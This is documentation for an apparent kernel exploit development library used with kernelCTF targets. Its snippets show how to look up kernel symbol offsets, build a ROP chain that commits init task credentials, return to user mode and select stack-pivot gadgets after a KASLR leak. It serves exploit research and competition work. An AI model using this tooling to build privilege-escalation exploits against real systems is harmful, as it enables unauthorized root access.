How to get started

Initialize the Target Database

The target database contains all of the information needed to customize the exploit for the current target.

This section describes how to use the prebuilt database, extend it if necessary and how to make it replaceable with an updated version.

  1. Add the necessary includes to the exploit code.

    #include <xdk/core.h>
    #include <xdk/postrip.h>
    
  2. Include the target_db. INCBIN creates a read-only section in the exploit binary with the current target database content.

    INCBIN(target_db, "target_db.kxdb");
    
  3. Initialize TargetDb. This constructor uses the target_db.kxdb file if exists, otherwise it fallbacks to the compile-time INCBIN’d database. This way, the exploit can be customized for running on other targets by supplying another target_db.kxdb after compilation time.

    TargetDb kxdb("target_db.kxdb", target_db);
    
  4. Already available in database structure and symbol offsets are documented in kxdb_tool/config.py. They are added for all the supported targets.

  5. If the needed symbol is not in database, use Target object to add it. One object per target needed. For example:

    Target st("kernelctf", "cos-105-17412.294.34");
    
    st.AddSymbol("nft_last_ops", 0x1acaf20);
    
    kxdb.AddTarget(st);
    
  6. Similar approach could be taken for adding structure and fields information:

    st.AddStruct("nft_expr_ops", 128, {
        {"dump", 64, 8},
        {"type", 120, 8} });
    

    Note 128 in the example above is a size of the nft_expr_ops structure. {"dump", 64, 8} field is located at the offset of 64 and as is a pointer, size would be 8 for 64-bit architecture.

  7. Detect which target the exploit is being run on.

    auto target = kxdb.AutoDetectTarget();
    printf("[+] Running on target: %s %s\n", target.GetDistro().c_str(), target.GetReleaseName().c_str());
    
  8. Access pre-defined or added (via Target) structures and symbols using following calls:

    auto size = target.GetStructSize("nft_expr_ops"); // not used, just showing API usage
    auto offset = target.GetFieldOffset("nft_expr", "ops"); // get the offset of ops field in nft_expr structure
    
    *(uint64_t *)&buffer[offset] = kernel_base + target.GetSymbolOffset("nft_last_ops"); // the address of nft_last_ops
    

Building the Payload

After leaking a kernel address and calculating the KASLR base, you can begin constructing the exploit payload.

  1. Initialize a Payload object. This will serve as the buffer for our ROP chain and other necessary data.

    Payload payload(1024);
    
  2. To set constants or to reserve areas that must not be altered by the PayloadBuilder, set their values explicitly beforehand:

    payload.SetU64(0, 0x100); // Sets 8 bytes at offset 0 to 0x100.
    payload.SetU32(24, 0);    // Sets 4 bytes at offset 24 to 0 (reserving the area).
    
  3. Create the RopChain. This object is initialized with target-specific information and the KASLR base. You can then add predefined actions to it. The Ret2Usr utility helps in gracefully returning execution to a user-mode function after the kernel operations are complete.

    RopChain rop(target, kaslr_base);
    rop.AddRopAction(RopActionId::COMMIT_INIT_TASK_CREDS);
    RopUtils::Ret2Usr(rop, (void*)win);
    

    Note Available ROP actions could be found in kxdb_tool/config.py.

Assembling the Final Payload with PayloadBuilder

The PayloadBuilder automates the process of finding a suitable pivot gadget and combining it with your payload and ROP chain.

  1. Initialize the PayloadBuilder with the target’s available pivot gadgets and the KASLR base.

    PayloadBuilder builder(target.pivots, kaslr_base);
    
  2. Add the payload object to the builder. You need to specify which register will point to your payload buffer (e.g., Register::RSI) and the offset within that buffer where the instruction pointer (rip) will be hijacked.

    uint64_t rip_off = fake_ops_offs + release_offs; // Calculated offset for RIP control
    builder.AddPayload(payload, Register::RSI, rip_off);
    

    In the situation when multiple registers contain a pointer to the payload, it’s worth informing PayloadBuilder about it:

    uint64_t rip_off = fake_ops_offs + release_offs; // Calculated offset for RIP control
    builder.AddPayload(payload, {Register::RSI, Register::RAX}, rip_off);
    

    PayloadBuilder is capable of handling multiple buffers (and use them if needed to accomodate ROP chain actions). To inform PayloadBuilder about such a setup use:

    Payload payload1(payload_size_1);
    Payload payload2(payload_size_2);
    PayloadBuilder builder(target.pivots, kernel_base); // create builder
    
    builder.AddPayload(payload1, std::nullopt, std::nullopt);
    builder.AddPayload(payload2, Register::RSI, rip_off); // add payload, with register, and rip_offset
    
  3. Add the RopChain to the builder.

    builder.AddRopChain(rop);
    
  4. Build the final payload. The Build() method will find an appropriate pivot gadget that uses the specified register (RSI in this case) to redirect execution to your ROP chain. The necessary gadgets and the ROP chain itself will be written into the payload object you provided earlier.

    if(!builder.Build())
        exit(-1);
    

    Once built, the payload object contains the complete, ready-to-use exploit payload.

  5. The contents of the final payload can be printed for inspection and debugging using the HexDump::Print method.

    printf("[+] Payload:\n");
    HexDump::Print(payload.GetUsedData());
    

    Note: The GetUsedData() method returns only the data actually written to the payload, excluding the unused bytes at the end of the buffer.

  6. In cases when pointer to pivot gadget should be part of some other buffer or passed as a parameter it could be obtained in the following way after building the final payload:

     *(uint64_t *)&some_buffer[offset] = kernel_base + builder.GetStackPivot().GetGadgetOffset();